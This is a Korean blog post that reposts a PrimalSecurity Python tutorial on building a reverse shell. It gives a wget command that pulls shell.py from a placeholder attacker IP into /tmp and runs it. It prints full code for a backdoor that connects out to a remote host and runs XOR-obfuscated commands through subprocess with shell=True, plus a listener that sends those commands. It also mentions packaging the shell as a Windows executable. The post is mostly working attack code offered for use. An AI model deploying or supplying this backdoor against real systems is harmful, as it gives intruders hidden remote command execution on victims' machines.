0w0
[primalsecurity] 0x2 – Reverse Shell 본문
Primalsecurity/Primalsecurity_Python-tutorials
[primalsecurity] 0x2 – Reverse Shell
0w0 2019. 12. 19. 05:54728x90
반응형
ref.
파이썬 리버스 쉘 제작
이번 내용은 linux OS 환경에서 수행하는 것이 효과적임
파이썬 HTTP 서버를 만들기 위해 내장 함수“SimpleHTTPServer”를 활용
-m 은 함수를 직접 호출할 때 사용하는 옵션
1
2
|
python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 80 ...
|
파이썬 쉘을 파이썬 HTTP 서버가 작동한 동일한 디렉터리에 배치
원격 클라이언트가 액세스할 수 있도록 방화벽을 없애던지 열어두던지 설정
1
2
3
4
5
6
7
8
9
10
11
|
# Switch -O allows you to output to another directory - /tmp/ is often writable
wget -O /tmp/shell.py http://<attacker_ip>/shell.py
# Change permissions
chmod a+x /tmp/shell.py
# Always a good idea to make sure the file pulled over properly
file /tmp/shell.py
# Run the python shell
/usr/bin/python /tmp/shell.py
|
해당 shell.py(백도어) 코드 분석
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
#!/usr/bin/python
import socket,subprocess,sys
RHOST = sys.argv[1]
RPORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
while True:
# recieve XOR encoded data from network socket
data = s.recv(1024)
# XOR the data again with a 'x41' to get back to normal data
en_data = bytearray(data)
for i in range(len(en_data)):
en_data[i] ^=0x41
# Execute the decoded data as a command. The subprocess module is great because we can PIPE STDOUT/STDERR/STDIN to a variable
comm = subprocess.Popen(str(en_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
STDOUT, STDERR = comm.communicate()
# Encode the output and send to RHOST
en_STDOUT = bytearray(STDOUT)
for i in range(len(en_STDOUT)):
en_STDOUT[i] ^=0x41
s.send(en_STDOUT)
s.close()
|
socket, subprocess 모듈로 OS와 통신 수행
subprocess 모듈은 STDOUT(표준출력), STDERR(표준에러)을 파이썬 스크립트에서 변수 대입 및 인자값 으로 사용 가능
XOR로 데이터를 연산하여 443포트(SSL)로 데이터 전송
해당 백도어 통신을 위한 리스너 서버 코드
리버스 쉘 요청을 허용하고 입출력 데이터를 통신
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
import socket
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 443))
s.listen(2)
print("Listening on port 443... ")
(client, (ip, port)) = s.accept()
print(" Received connection from : ", ip)
while True:
command = raw_input('~$ ')
encode = bytearray(command)
for i in range(len(encode)):
encode[i] ^=0x41
client.send(encode)
en_data=client.recv(2048)
decode = bytearray(en_data)
for i in range(len(decode)):
decode[i] ^=0x41
print decode
client.close()
s.close()
|
pyinstaller를 사용해 Windows에서 실행 파일로도 사용가능
xor로 데이터를 인/디코딩하는 방법으로 그대로 base64로도 데이터를 인/디코딩 가능
728x90
반응형
'Primalsecurity > Primalsecurity_Python-tutorials' 카테고리의 다른 글
[primalsecurity] 0x4 – Python to EXE (0) | 2019.12.23 |
---|---|
[primalsecurity] 0x3 – Fuzzer (0) | 2019.12.21 |
[primalsecurity] 0x1 – Port Scanner (0) | 2019.12.18 |
[primalsecurity] 0x0 – Getting Started Pt.2 (0) | 2019.12.17 |
[primalsecurity] 0x0 – Getting Started (0) | 2019.12.14 |
Comments